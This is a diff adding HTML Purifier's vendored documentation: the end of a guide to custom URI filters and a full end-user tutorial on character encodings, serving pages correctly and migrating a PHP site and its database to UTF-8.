    Path Data that identifies the resource, possibly hierarchical (/path/to, ed@example.com)
    Query String of information to be interpreted by the resource (?q=search-term)
    Fragment Additional information for the resource after retrieval (#bookmark)
    + +

    + Because the URI is presented to us in this form, and not + http://bob@example.com:8080/foo.php?q=string#hash, it saves us + a lot of trouble in having to parse the URI every time we want to filter + it. For the record, the above URI has the following components: +

    + + + + + + + + + +
    Scheme http
    Userinfo bob
    Host example.com
    Port 8080
    Path /foo.php
    Query q=string
    Fragment hash
    + +

    + Note that there is no question mark or octothorpe in the query or + fragment: these get removed during parsing. +

    + +

    + With this information, you can get straight to implementing your + filter() method. But one more thing... +

    + +

    Return value: Boolean, not URI

    + +

    + You may have noticed that the URI is being passed in by reference. + This means that whatever changes you make to it, those changes will + be reflected in the URI object the callee had. Do not + return the URI object: it is unnecessary and will cause bugs. + Instead, return a boolean value, true if the filtering was successful, + or false if the URI is beyond repair and needs to be axed. +

    + +

    + Let's suppose I wanted to write a filter that converted links with a + custom image scheme to its corresponding real path on + our website: +

    + +
    class HTMLPurifier_URIFilter_TransformImageScheme extends HTMLPurifier_URIFilter
    +{
    +    public $name = 'TransformImageScheme';
    +    public function filter(&$uri, $config, $context) {
    +        if ($uri->scheme !== 'image') return true;
    +        $img_name = $uri->path;
    +        // Overwrite the previous URI object
    +        $uri = new HTMLPurifier_URI('http', null, null, null, '/img/' . $img_name . '.png', null, null);
    +        return true;
    +    }
    +}
    + +

    + Notice I did not return $uri;. This filter would turn + image:Foo into /img/Foo.png. +

    + +

    Activating your filter

    + +

    + Having a filter is all well and good, but you need to tell HTML Purifier + to use it. Fortunately, this part's simple: +

    + +
    $uri = $config->getDefinition('URI');
    +$uri->addFilter(new HTMLPurifier_URIFilter_NameOfFilter(), $config);
    + +

    + After adding a filter, you won't be able to set configuration directives. + Structure your code accordingly. +

    + + + +

    Post-filter

    + +

    + Remember our TransformImageScheme filter? That filter acted before we had + performed scheme validation; otherwise, the URI would have been filtered + out when it was discovered that there was no image scheme. Well, a post-filter + is run after scheme specific validation, so it's ideal for bulk + post-processing of URIs, including munging. To specify a URI as a post-filter, + set the $post member variable to TRUE. +

    + +
    class HTMLPurifier_URIFilter_MyPostFilter extends HTMLPurifier_URIFilter
    +{
    +    public $name = 'MyPostFilter';
    +    public $post = true;
    +    // ... extra code here
    +}
    +
    + +

    Examples

    + +

    + Check the + URIFilter + directory for more implementation examples, and see the + new directives proposal document for ideas on what could be implemented + as a filter. +

    + + + + diff --git a/vendor/ezyang/htmlpurifier/docs/enduser-utf8.html b/vendor/ezyang/htmlpurifier/docs/enduser-utf8.html new file mode 100644 index 00000000..9b01a302 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/docs/enduser-utf8.html @@ -0,0 +1,1060 @@ + + + + + + + + +UTF-8: The Secret of Character Encoding - HTML Purifier + + + + + +

    UTF-8: The Secret of Character Encoding

    + +
    Filed under End-User
    +
    Return to the index.
    +
    HTML Purifier End-User Documentation
    + +

    Character encoding and character sets are not that +difficult to understand, but so many people blithely stumble +through the worlds of programming without knowing what to actually +do about it, or say "Ah, it's a job for those internationalization +experts." No, it is not! This document will walk you through +determining the encoding of your system and how you should handle +this information. It will stay away from excessive discussion on +the internals of character encoding.

    + +

    This document is not designed to be read in its entirety: it will +slowly introduce concepts that build on each other: you need not get to +the bottom to have learned something new. However, I strongly +recommend you read all the way to Why UTF-8?, because at least +at that point you'd have made a conscious decision not to migrate, +which can be a rewarding (but difficult) task.

    + +
    +
    Asides
    +

    Text in this formatting is an aside, + interesting tidbits for the curious but not strictly necessary material to + do the tutorial. If you read this text, you'll come out + with a greater understanding of the underlying issues.

    +
    + +

    Table of Contents

    + +
      +
    1. Finding the real encoding
    2. +
    3. Finding the embedded encoding
    4. +
    5. Fixing the encoding
        +
      1. No embedded encoding
      2. +
      3. Embedded encoding disagrees
      4. +
      5. Changing the server encoding
          +
        1. PHP header() function
        2. +
        3. PHP ini directive
        4. +
        5. Non-PHP
        6. +
        7. .htaccess
        8. +
        9. File extensions
        10. +
      6. +
      7. XML
      8. +
      9. Inside the process
      10. +
    6. +
    7. Why UTF-8?
        +
      1. Internationalization
      2. +
      3. User-friendly
      4. +
      5. Forms
          +
        1. application/x-www-form-urlencoded
        2. +
        3. multipart/form-data
        4. +
      6. +
      7. Well supported
      8. +
      9. HTML Purifiers
      10. +
    8. +
    9. Migrate to UTF-8
        +
      1. Configuring your database
          +
        1. Legit method
        2. +
        3. Binary
        4. +
      2. +
      3. Text editor
      4. +
      5. Byte Order Mark (headers already sent!)
      6. +
      7. Fonts
          +
        1. Obscure scripts
        2. +
        3. Occasional use
        4. +
      8. +
      9. Dealing with variable width in functions
      10. +
    10. +
    11. Further Reading
    12. +
    + +

    Finding the real encoding

    + +

    In the beginning, there was ASCII, and things were simple. But they +weren't good, for no one could write in Cyrillic or Thai. So there +exploded a proliferation of character encodings to remedy the problem +by extending the characters ASCII could express. This ridiculously +simplified version of the history of character encodings shows us that +there are now many character encodings floating around.

    + +
    +

    A character encoding tells the computer how to + interpret raw zeroes and ones into real characters. It + usually does this by pairing numbers with characters.

    +

    There are many different types of character encodings floating + around, but the ones we deal most frequently with are ASCII, + 8-bit encodings, and Unicode-based encodings.

    +
      +
    • ASCII is a 7-bit encoding based on the + English alphabet.
    • +
    • 8-bit encodings are extensions to ASCII + that add a potpourri of useful, non-standard characters + like é and æ. They can only add 127 characters, + so usually only support one script at a time. When you + see a page on the web, chances are it's encoded in one + of these encodings.
    • +
    • Unicode-based encodings implement the + Unicode standard and include UTF-8, UTF-16 and UTF-32/UCS-4. + They go beyond 8-bits and support almost + every language in the world. UTF-8 is gaining traction + as the dominant international encoding of the web.
    • +
    +
    + +

    The first step of our journey is to find out what the encoding of +your website is. The most reliable way is to ask your +browser:

    + +
    +
    Mozilla Firefox
    +
    Tools > Page Info: Encoding
    +
    Internet Explorer
    +
    View > Encoding: bulleted item is unofficial name
    +
    + +

    Internet Explorer won't give you the MIME (i.e. useful/real) name of the +character encoding, so you'll have to look it up using their description. +Some common ones:

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    IE's DescriptionMime Name
    Windows
    Arabic (Windows)Windows-1256
    Baltic (Windows)Windows-1257
    Central European (Windows)Windows-1250
    Cyrillic (Windows)Windows-1251
    Greek (Windows)Windows-1253
    Hebrew (Windows)Windows-1255
    Thai (Windows)TIS-620
    Turkish (Windows)Windows-1254
    Vietnamese (Windows)Windows-1258
    Western European (Windows)Windows-1252
    ISO
    Arabic (ISO)ISO-8859-6
    Baltic (ISO)ISO-8859-4
    Central European (ISO)ISO-8859-2
    Cyrillic (ISO)ISO-8859-5
    Estonian (ISO)ISO-8859-13
    Greek (ISO)ISO-8859-7
    Hebrew (ISO-Logical)ISO-8859-8-l
    Hebrew (ISO-Visual)ISO-8859-8
    Latin 9 (ISO)ISO-8859-15
    Turkish (ISO)ISO-8859-9
    Western European (ISO)ISO-8859-1
    Other
    Chinese Simplified (GB18030)GB18030
    Chinese Simplified (GB2312)GB2312
    Chinese Simplified (HZ)HZ
    Chinese Traditional (Big5)Big5
    Japanese (Shift-JIS)Shift_JIS
    Japanese (EUC)EUC-JP
    KoreanEUC-KR
    Unicode (UTF-8)UTF-8
    + +

    Internet Explorer does not recognize some of the more obscure +character encodings, and having to lookup the real names with a table +is a pain, so I recommend using Mozilla Firefox to find out your +character encoding.

    + +

    Finding the embedded encoding

    + +

    At this point, you may be asking, "Didn't we already find out our +encoding?" Well, as it turns out, there are multiple places where +a web developer can specify a character encoding, and one such place +is in a META tag:

    + +
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    + +

    You'll find this in the HEAD section of an HTML document. +The text to the right of charset= is the "claimed" +encoding: the HTML claims to be this encoding, but whether or not this +is actually the case depends on other factors. For now, take note +if your META tag claims that either:

    + +
      +
    1. The character encoding is the same as the one reported by the + browser,
    2. +
    3. The character encoding is different from the browser's, or
    4. +
    5. There is no META tag at all! (horror, horror!)
    6. +
    + +

    Fixing the encoding

    + +

    The advice given here is for pages being served as +vanilla text/html. Different practices must be used +for application/xml or application/xml+xhtml, see +W3C's +document on XHTML media types for more information.

    + +

    If your META encoding and your real encoding match, +savvy! You can skip this section. If they don't...

    + +

    No embedded encoding

    + +

    If this is the case, you'll want to add in the appropriate +META tag to your website. It's as simple as copy-pasting +the code snippet above and replacing UTF-8 with whatever is the mime name +of your real encoding.

    + +
    +

    For all those skeptics out there, there is a very good reason + why the character encoding should be explicitly stated. When the + browser isn't told what the character encoding of a text is, it + has to guess: and sometimes the guess is wrong. Hackers can manipulate + this guess in order to slip XSS past filters and then fool the + browser into executing it as active code. A great example of this + is the Google UTF-7 + exploit.

    +

    You might be able to get away with not specifying a character + encoding with the META tag as long as your webserver + sends the right Content-Type header, but why risk it? Besides, if + the user downloads the HTML file, there is no longer any webserver + to define the character encoding.

    +
    + +

    Embedded encoding disagrees

    + +

    This is an extremely common mistake: another source is telling +the browser what the +character encoding is and is overriding the embedded encoding. This +source usually is the Content-Type HTTP header that the webserver (i.e. +Apache) sends. A usual Content-Type header sent with a page might +look like this:

    + +
    Content-Type: text/html; charset=ISO-8859-1
    + +

    Notice how there is a charset parameter: this is the webserver's +way of telling a browser what the character encoding is, much like +the META tags we touched upon previously.

    + +

    In fact, the META tag is +designed as a substitute for the HTTP header for contexts where +sending headers is impossible (such as locally stored files without +a webserver). Thus the name http-equiv (HTTP equivalent). +

    + +

    There are two ways to go about fixing this: changing the META +tag to match the HTTP header, or changing the HTTP header to match +the META tag. How do we know which to do? It depends +on the website's content: after all, headers and tags are only ways of +describing the actual characters on the web page.

    + +

    If your website:

    + +
    +
    ...only uses ASCII characters,
    +
    Either way is fine, but I recommend switching both to + UTF-8 (more on this later).
    +
    ...uses special characters, and they display + properly,
    +
    Change the embedded encoding to the server encoding.
    +
    ...uses special characters, but users often complain that + they come out garbled,
    +
    Change the server encoding to the embedded encoding.
    +
    + +

    Changing a META tag is easy: just swap out the old encoding +for the new. Changing the server (HTTP header) encoding, however, +is slightly more difficult.

    + +

    Changing the server encoding

    + +

    PHP header() function

    + +

    The simplest way to handle this problem is to send the encoding +yourself, via your programming language. Since you're using HTML +Purifier, I'll assume PHP, although it's not too difficult to do +similar things in +other +languages. The appropriate code is:

    + +
    header('Content-Type:text/html; charset=UTF-8');
    + +

    ...replacing UTF-8 with whatever your embedded encoding is. +This code must come before any output, so be careful about +stray whitespace in your application (i.e., any whitespace before +output excluding whitespace within <?php ?> tags).

    + +

    PHP ini directive

    + +

    PHP also has a neat little ini directive that can save you a +header call: default_charset. Using this code:

    + +
    ini_set('default_charset', 'UTF-8');
    + +

    ...will also do the trick. If PHP is running as an Apache module (and +not as FastCGI, consult +phpinfo() for details), you can even use htaccess to apply this property +across many PHP files:

    + +
    php_value default_charset "UTF-8"
    + +

    As with all INI directives, this can +also go in your php.ini file. Some hosting providers allow you to customize +your own php.ini file, ask your support for details. Use:

    +
    default_charset = "utf-8"
    + +

    Non-PHP

    + +

    You may, for whatever reason, need to set the character encoding +on non-PHP files, usually plain ol' HTML files. Doing this +is more of a hit-or-miss process: depending on the software being +used as a webserver and the configuration of that software, certain +techniques may work, or may not work.

    + +

    .htaccess

    + +

    On Apache, you can use an .htaccess file to change the character +encoding. I'll defer to +W3C +for the in-depth explanation, but it boils down to creating a file +named .htaccess with the contents:

    + +
    AddCharset UTF-8 .html
    + +

    Where UTF-8 is replaced with the character encoding you want to +use and .html is a file extension that this will be applied to. This +character encoding will then be set for any file directly in +or in the subdirectories of directory you place this file in.

    + +

    If you're feeling particularly courageous, you can use:

    + +
    AddDefaultCharset UTF-8
    + +

    ...which changes the character set Apache adds to any document that +doesn't have any Content-Type parameters. This directive, which the +default configuration file sets to iso-8859-1 for security +reasons, is probably why your headers mismatch +with the META tag. If you would prefer Apache not to be +butting in on your character encodings, you can tell it not +to send anything at all:

    + +
    AddDefaultCharset Off
    + +

    ...making your internal charset declaration (usually the META tags) +the sole source of character encoding +information. In these cases, it is especially important to make +sure you have valid META tags on your pages and all the +text before them is ASCII.

    + +

    These directives can also be +placed in httpd.conf file for Apache, but +in most shared hosting situations you won't be able to edit this file. +

    + +

    File extensions

    + +

    If you're not allowed to use .htaccess files, you can often +piggy-back off of Apache's default AddCharset declarations to get +your files in the proper extension. Here are Apache's default +character set declarations:

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CharsetFile extension(s)
    ISO-8859-1.iso8859-1 .latin1
    ISO-8859-2.iso8859-2 .latin2 .cen
    ISO-8859-3.iso8859-3 .latin3
    ISO-8859-4.iso8859-4 .latin4
    ISO-8859-5.iso8859-5 .latin5 .cyr .iso-ru
    ISO-8859-6.iso8859-6 .latin6 .arb
    ISO-8859-7.iso8859-7 .latin7 .grk
    ISO-8859-8.iso8859-8 .latin8 .heb
    ISO-8859-9.iso8859-9 .latin9 .trk
    ISO-2022-JP.iso2022-jp .jis
    ISO-2022-KR.iso2022-kr .kis
    ISO-2022-CN.iso2022-cn .cis
    Big5.Big5 .big5 .b5
    WINDOWS-1251.cp-1251 .win-1251
    CP866.cp866
    KOI8-r.koi8-r .koi8-ru
    KOI8-ru.koi8-uk .ua
    ISO-10646-UCS-2.ucs2
    ISO-10646-UCS-4.ucs4
    UTF-8.utf8
    GB2312.gb2312 .gb
    utf-7.utf7
    EUC-TW.euc-tw
    EUC-JP.euc-jp
    EUC-KR.euc-kr
    shift_jis.sjis
    + +

    So, for example, a file named page.utf8.html or +page.html.utf8 will probably be sent with the UTF-8 charset +attached, the difference being that if there is an +AddCharset charset .html declaration, it will override +the .utf8 extension in page.utf8.html (precedence moves +from right to left). By default, Apache has no such declaration.

    + +

    Microsoft IIS

    + +

    If anyone can contribute information on how to configure Microsoft +IIS to change character encodings, I'd be grateful.

    + +

    XML

    + +

    META tags are the most common source of embedded +encodings, but they can also come from somewhere else: XML +Declarations. They look like:

    + +
    <?xml version="1.0" encoding="UTF-8"?>
    + +

    ...and are most often found in XML documents (including XHTML).

    + +

    For XHTML, this XML Declaration theoretically +overrides the META tag. In reality, this happens only when the +XHTML is actually served as legit XML and not HTML, which is almost always +never due to Internet Explorer's lack of support for +application/xhtml+xml (even though doing so is often +argued to be good +practice and is required by the XHTML 1.1 specification).

    + +

    For XML, however, this XML Declaration is extremely important. +Since most webservers are not configured to send charsets for .xml files, +this is the only thing a parser has to go on. Furthermore, the default +for XML files is UTF-8, which often butts heads with more common +ISO-8859-1 encoding (you see this in garbled RSS feeds).

    + +

    In short, if you use XHTML and have gone through the +trouble of adding the XML Declaration, make sure it jives +with your META tags (which should only be present +if served in text/html) and HTTP headers.

    + +

    Inside the process

    + +

    This section is not required reading, +but may answer some of your questions on what's going on in all +this character encoding hocus pocus. If you're interested in +moving on to the next phase, skip this section.

    + +

    A logical question that follows all of our wheeling and dealing +with multiple sources of character encodings is "Why are there +so many options?" To answer this question, we have to turn +back our definition of character encodings: they allow a program +to interpret bytes into human-readable characters.

    + +

    Thus, a chicken-egg problem: a character encoding +is necessary to interpret the +text of a document. A META tag is in the text of a document. +The META tag gives the character encoding. How can we +determine the contents of a META tag, inside the text, +if we don't know it's character encoding? And how do we figure out +the character encoding, if we don't know the contents of the +META tag?

    + +

    Fortunately for us, the characters we need to write the +META are in ASCII, which is pretty much universal +over every character encoding that is in common use today. So, +all the web-browser has to do is parse all the way down until +it gets to the Content-Type tag, extract the character encoding +tag, then re-parse the document according to this new information.

    + +

    Obviously this is complicated, so browsers prefer the simpler +and more efficient solution: get the character encoding from a +somewhere other than the document itself, i.e. the HTTP headers, +much to the chagrin of HTML authors who can't set these headers.

    + +

    Why UTF-8?

    + +

    So, you've gone through all the trouble of ensuring that your +server and embedded characters all line up properly and are +present. Good job: at +this point, you could quit and rest easy knowing that your pages +are not vulnerable to character encoding style XSS attacks. +However, just as having a character encoding is better than +having no character encoding at all, having UTF-8 as your +character encoding is better than having some other random +character encoding, and the next step is to convert to UTF-8. +But why?

    + +

    Internationalization

    + +

    Many software projects, at one point or another, suddenly realize +that they should be supporting more than one language. Even regular +usage in one language sometimes requires the occasional special character +that, without surprise, is not available in your character set. Sometimes +developers get around this by adding support for multiple encodings: when +using Chinese, use Big5, when using Japanese, use Shift-JIS, when +using Greek, etc. Other times, they use character references with great +zeal.

    + +

    UTF-8, however, obviates the need for any of these complicated +measures. After getting the system to use UTF-8 and adjusting for +sources that are outside the hand of the browser (more on this later), +UTF-8 just works. You can use it for any language, even many languages +at once, you don't have to worry about managing multiple encodings, +you don't have to use those user-unfriendly entities.

    + +

    User-friendly

    + +

    Websites encoded in Latin-1 (ISO-8859-1) which occasionally need +a special character outside of their scope often will use a character +entity reference to achieve the desired effect. For instance, θ can be +written &theta;, regardless of the character encoding's +support of Greek letters.

    + +

    This works nicely for limited use of special characters, but +say you wanted this sentence of Chinese text: 激光, +這兩個字是甚麼意思. +The ampersand encoded version would look like this:

    + +
    &#28608;&#20809;, &#36889;&#20841;&#20491;&#23383;&#26159;&#29978;&#40636;&#24847;&#24605;
    + +

    Extremely inconvenient for those of us who actually know what +character entities are, totally unintelligible to poor users who don't! +Even the slightly more user-friendly, "intelligible" character +entities like &theta; will leave users who are +uninterested in learning HTML scratching their heads. On the other +hand, if they see θ in an edit box, they'll know that it's a +special character, and treat it accordingly, even if they don't know +how to write that character themselves.

    + +

    Wikipedia is a great case study for +an application that originally used ISO-8859-1 but switched to UTF-8 +when it became far to cumbersome to support foreign languages. Bots +will now actually go through articles and convert character entities +to their corresponding real characters for the sake of user-friendliness +and searchability. See +Meta's +page on special characters for more details. +

    + +

    Forms

    + +

    While we're on the tack of users, how do non-UTF-8 web forms deal +with characters that are outside of their character set? Rather than +discuss what UTF-8 does right, we're going to show what could go wrong +if you didn't use UTF-8 and people tried to use characters outside +of your character encoding.

    + +

    The troubles are large, extensive, and extremely difficult to fix (or, +at least, difficult enough that if you had the time and resources to invest +in doing the fix, you would be probably better off migrating to UTF-8). +There are two types of form submission: application/x-www-form-urlencoded +which is used for GET and by default for POST, and multipart/form-data +which may be used by POST, and is required when you want to upload +files.

    + +

    The following is a summarization of notes from + +FORM submission and i18n. That document contains lots +of useful information, but is written in a rambly manner, so +here I try to get right to the point. (Note: the original has +disappeared off the web, so I am linking to the Web Archive copy.)

    + +

    application/x-www-form-urlencoded

    + +

    This is the Content-Type that GET requests must use, and POST requests +use by default. It involves the ubiquitous percent encoding format that +looks something like: %C3%86. There is no official way of +determining the character encoding of such a request, since the percent +encoding operates on a byte level, so it is usually assumed that it +is the same as the encoding the page containing the form was submitted +in. (RFC 3986 +recommends that textual identifiers be translated to UTF-8; however, browser +compliance is spotty.) You'll run into very few problems +if you only use characters in the character encoding you chose.

    + +

    However, once you start adding characters outside of your encoding +(and this is a lot more common than you may think: take curly +"smart" quotes from Microsoft as an example), +a whole manner of strange things start to happen. Depending on the +browser you're using, they might:

    + +
      +
    • Replace the unsupported characters with useless question marks,
    • +
    • Attempt to fix the characters (example: smart quotes to regular quotes),
    • +
    • Replace the character with a character entity reference, or
    • +
    • Send it anyway as a different character encoding mixed in + with the original encoding (usually Windows-1252 rather than + iso-8859-1 or UTF-8 interspersed in 8-bit)
    • +
    + +

    To properly guard against these behaviors, you'd have to sniff out +the browser agent, compile a database of different behaviors, and +take appropriate conversion action against the string (disregarding +a spate of extremely mysterious, random and devastating bugs Internet +Explorer manifests every once in a while). Or you could +use UTF-8 and rest easy knowing that none of this could possibly happen +since UTF-8 supports every character.

    + +

    multipart/form-data

    + +

    Multipart form submission takes away a lot of the ambiguity +that percent-encoding had: the server now can explicitly ask for +certain encodings, and the client can explicitly tell the server +during the form submission what encoding the fields are in.

    + +

    There are two ways you go with this functionality: leave it +unset and have the browser send in the same encoding as the page, +or set it to UTF-8 and then do another conversion server-side. +Each method has deficiencies, especially the former.

    + +

    If you tell the browser to send the form in the same encoding as +the page, you still have the trouble of what to do with characters +that are outside of the character encoding's range. The behavior, once +again, varies: Firefox 2.0 converts them to character entity references +while Internet Explorer 7.0 mangles them beyond intelligibility. For +serious internationalization purposes, this is not an option.

    + +

    The other possibility is to set Accept-Encoding to UTF-8, which +begs the question: Why aren't you using UTF-8 for everything then? +This route is more palatable, but there's a notable caveat: your data +will come in as UTF-8, so you will have to explicitly convert it into +your favored local character encoding.

    + +

    I object to this approach on idealogical grounds: you're +digging yourself deeper into +the hole when you could have been converting to UTF-8 +instead. And, of course, you can't use this method for GET requests.

    + +

    Well supported

    + +

    Almost every modern browser in the wild today has full UTF-8 and Unicode +support: the number of troublesome cases can be counted with the +fingers of one hand, and these browsers usually have trouble with +other character encodings too. Problems users usually encounter stem +from the lack of appropriate fonts to display the characters (once +again, this applies to all character encodings and HTML entities) or +Internet Explorer's lack of intelligent font picking (which can be +worked around).

    + +

    We will go into more detail about how to deal with edge cases in +the browser world in the Migration section, but rest assured that +converting to UTF-8, if done correctly, will not result in users +hounding you about broken pages.

    + +

    HTML Purifier

    + +

    And finally, we get to HTML Purifier. HTML Purifier is built to +deal with UTF-8: any indications otherwise are the result of an +encoder that converts text from your preferred encoding to UTF-8, and +back again. HTML Purifier never touches anything else, and leaves +it up to the module iconv to do the dirty work.

    + +

    This approach, however, is not perfect. iconv is blithely unaware +of HTML character entities. HTML Purifier, in order to +protect against sophisticated escaping schemes, normalizes all character +and numeric entity references before processing the text. This leads to +one important ramification:

    + +

    Any character that is not supported by the target character +set, regardless of whether or not it is in the form of a character +entity reference or a raw character, will be silently ignored.

    + +

    Example of this principle at work: say you have &theta; +in your HTML, but the output is in Latin-1 (which, understandably, +does not understand Greek), the following process will occur (assuming you've +set the encoding correctly using %Core.Encoding):

    + +
      +
    • The Encoder will transform the text from ISO 8859-1 to UTF-8 + (note that theta is preserved here since it doesn't actually use + any non-ASCII characters): &theta;
    • +
    • The EntityParser will transform all named and numeric + character entities to their corresponding raw UTF-8 equivalents: + θ
    • +
    • HTML Purifier processes the code: θ
    • +
    • The Encoder now transforms the text back from UTF-8 + to ISO 8859-1. Since Greek is not supported by ISO 8859-1, it + will be either ignored or replaced with a question mark: + ?
    • +
    + +

    This behaviour is quite unsatisfactory. It is a deal-breaker for +international applications, and it can be mildly annoying for the provincial +soul who occasionally needs a special character. Since 1.4.0, HTML +Purifier has provided a slightly more palatable workaround using +%Core.EscapeNonASCIICharacters. The process now looks like:

    + +
      +
    • The Encoder transforms encoding to UTF-8: &theta;
    • +
    • The EntityParser transforms entities: θ
    • +
    • HTML Purifier processes the code: θ
    • +
    • The Encoder replaces all non-ASCII characters + with numeric entity reference: &#952;
    • +
    • For good measure, Encoder transforms encoding back to + original (which is strictly unnecessary for 99% of encodings + out there): &#952; (remember, it's all ASCII!)
    • +
    + +

    ...which means that this is only good for an occasional foray into +the land of Unicode characters, and is totally unacceptable for Chinese +or Japanese texts. The even bigger kicker is that, supposing the +input encoding was actually ISO-8859-7, which does support +theta, the character would get converted into a character entity reference +anyway! (The Encoder does not discriminate).

    + +

    The current functionality is about where HTML Purifier will be for +the rest of eternity. HTML Purifier could attempt to preserve the original +form of the character references so that they could be substituted back in, only the +DOM extension kills them off irreversibly. HTML Purifier could also attempt +to be smart and only convert non-ASCII characters that weren't supported +by the target encoding, but that would require reimplementing iconv +with HTML awareness, something I will not do.

    + +

    So there: either it's UTF-8 or crippled international support. Your pick! (and I'm +not being sarcastic here: some people could care less about other languages).

    + +

    Migrate to UTF-8

    + +

    So, you've decided to bite the bullet, and want to migrate to UTF-8. +Note that this is not for the faint-hearted, and you should expect +the process to take longer than you think it will take.

    + +

    The general idea is that you convert all existing text to UTF-8, +and then you set all the headers and META tags we discussed earlier +to UTF-8. There are many ways going about doing this: you could +write a conversion script that runs through the database and re-encodes +everything as UTF-8 or you could do the conversion on the fly when someone +reads the page. The details depend on your system, but I will cover +some of the more subtle points of migration that may trip you up.

    + +

    Configuring your database

    + +

    Most modern databases, the most prominent open-source ones being MySQL +4.1+ and PostgreSQL, support character encodings. If you're switching +to UTF-8, logically speaking, you'd want to make sure your database +knows about the change too. There are some caveats though:

    + +

    Legit method

    + +

    Standardization in terms of SQL syntax for specifying character +encodings is notoriously spotty. Refer to your respective database's +documentation on how to do this properly.

    + +

    For MySQL, ALTER will magically perform the +character encoding conversion for you. However, you have +to make sure that the text inside the column is what is says it is: +if you had put Shift-JIS in an ISO 8859-1 column, MySQL will irreversibly mangle +the text when you try to convert it to UTF-8. You'll have to convert +it to a binary field, convert it to a Shift-JIS field (the real encoding), +and then finally to UTF-8. Many a website had pages irreversibly mangled +because they didn't realize that they'd been deluding themselves about +the character encoding all along; don't become the next victim.

    + +

    For PostgreSQL, there appears to be no direct way to change the +encoding of a database (as of 8.2). You will have to dump the data, and then reimport +it into a new table. Make sure that your client encoding is set properly: +this is how PostgreSQL knows to perform an encoding conversion.

    + +

    Many times, you will be also asked about the "collation" of +the new column. Collation is how a DBMS sorts text, like ordering +B, C and A into A, B and C (the problem gets surprisingly complicated +when you get to languages like Thai and Japanese). If in doubt, +going with the default setting is usually a safe bet.

    + +

    Once the conversion is all said and done, you still have to remember +to set the client encoding (your encoding) properly on each database +connection using SET NAMES (which is standard SQL and is +usually supported).

    + +

    Binary

    + +

    Due to the aforementioned compatibility issues, a more interoperable +way of storing UTF-8 text is to stuff it in a binary datatype. +CHAR becomes BINARY, VARCHAR becomes +VARBINARY and TEXT becomes BLOB. +Doing so can save you some huge headaches:

    + +
      +
    • The syntax for binary data types is very portable,
    • +
    • MySQL 4.0 has no support for character encodings, so + if you want to support it you have to use binary,
    • +
    • MySQL, as of 5.1, has no support for four byte UTF-8 characters, + which represent characters beyond the basic multilingual + plane, and
    • +
    • You will never have to worry about your DBMS being too smart + and attempting to convert your text when you don't want it to.
    • +
    + +

    MediaWiki, a very prominent international application, uses binary fields +for storing their data because of point three.

    + +

    There are drawbacks, of course:

    + +
      +
    • Database tools like PHPMyAdmin won't be able to offer you inline + text editing, since it is declared as binary,
    • +
    • It's not semantically correct: it's really text not binary + (lying to the database),
    • +
    • Unless you use the not-very-portable wizardry mentioned above, + you have to change the encoding yourself (usually, you'd do + it on the fly), and
    • +
    • You will not have collation.
    • +
    + +

    Choose based on your circumstances.

    + +

    Text editor

    + +

    For more flat-file oriented systems, you will often be tasked with +converting reams of existing text and HTML files into UTF-8, as well as +making sure that all new files uploaded are properly encoded. Once again, +I can only point vaguely in the right direction for converting your +existing files: make sure you backup, make sure you use +iconv(), and +make sure you know what the original character encoding of the files +is (or are, depending on the tidiness of your system).

    + +

    However, I can proffer more specific advice on the subject of +text editors. Many text editors have notoriously spotty Unicode support. +To find out how your editor is doing, you can check out this list +or Wikipedia's list. +I personally use Notepad++, which works like a charm when it comes to UTF-8. +Usually, you will have to explicitly tell the editor through some dialogue +(usually Save as or Format) what encoding you want it to use. An editor +will often offer "Unicode" as a method of saving, which is +ambiguous. Make sure you know whether or not they really mean UTF-8 +or UTF-16 (which is another flavor of Unicode).

    + +

    The two things to look out for are whether or not the editor +supports font mixing (multiple +fonts in one document) and whether or not it adds a BOM. +Font mixing is important because fonts rarely have support for every +language known to mankind: in order to be flexible, an editor must +be able to take a little from here and a little from there, otherwise +all your Chinese characters will come as nice boxes. We'll discuss +BOM below.

    + +

    Byte Order Mark (headers already sent!)

    + +

    The BOM, or Byte +Order Mark, is a magical, invisible character placed at +the beginning of UTF-8 files to tell people what the encoding is and +what the endianness of the text is. It is also unnecessary.

    + +

    Because it's invisible, it often +catches people by surprise when it starts doing things it shouldn't +be doing. For example, this PHP file:

    + +
    BOM<?php
    +header('Location: index.php');
    +?>
    + +

    ...will fail with the all too familiar Headers already sent +PHP error. And because the BOM is invisible, this culprit will go unnoticed. +My suggestion is to only use ASCII in PHP pages, but if you must, make +sure the page is saved WITHOUT the BOM.

    + +
    +

    The headers the error is referring to are HTTP headers, + which are sent to the browser before any HTML to tell it various + information. The moment any regular text (and yes, a BOM counts as + ordinary text) is output, the headers must be sent, and you are + not allowed to send anymore. Thus, the error.

    +
    + +

    If you are reading in text files to insert into the middle of another +page, it is strongly advised (but not strictly necessary) that you replace out the UTF-8 byte +sequence for BOM "\xEF\xBB\xBF" before inserting it in, +via:

    + +
    $text = str_replace("\xEF\xBB\xBF", '', $text);
    + +

    Fonts

    + +

    Generally speaking, people who are having trouble with fonts fall +into two categories:

    + +
      +
    • Those who want to +use an extremely obscure language for which there is very little +support even among native speakers of the language, and
    • +
    • Those where the primary language of the text is +well-supported but there are occasional characters +that aren't supported.
    • +
    + +

    Yes, there's always a chance where an English user happens across +a Sinhalese website and doesn't have the right font. But an English user +who happens not to have the right fonts probably has no business reading Sinhalese +anyway. So we'll deal with the other two edge cases.

    + +

    Obscure scripts

    + +

    If you run a Bengali website, you may get comments from users who +would like to read your website but get heaps of question marks or +other meaningless characters. Fixing this problem requires the +installation of a font or language pack which is often highly +dependent on what the language is. Here is an example +of such a help file for the Bengali language; I am sure there are +others out there too. You just have to point users to the appropriate +help file.

    + +

    Occasional use

    + +

    A prime example of when you'll see some very obscure Unicode +characters embedded in what otherwise would be very bland ASCII are +letters of the +International +Phonetic Alphabet (IPA), use to designate pronunciations in a very standard +manner (you probably see them all the time in your dictionary). Your +average font probably won't have support for all of the IPA characters +like ʘ (bilabial click) or ʒ (voiced postalveolar fricative). +So what's a poor browser to do? Font mix! Smart browsers like Mozilla Firefox +and Internet Explorer 7 will borrow glyphs from other fonts in order +to make sure that all the characters display properly.

    + +

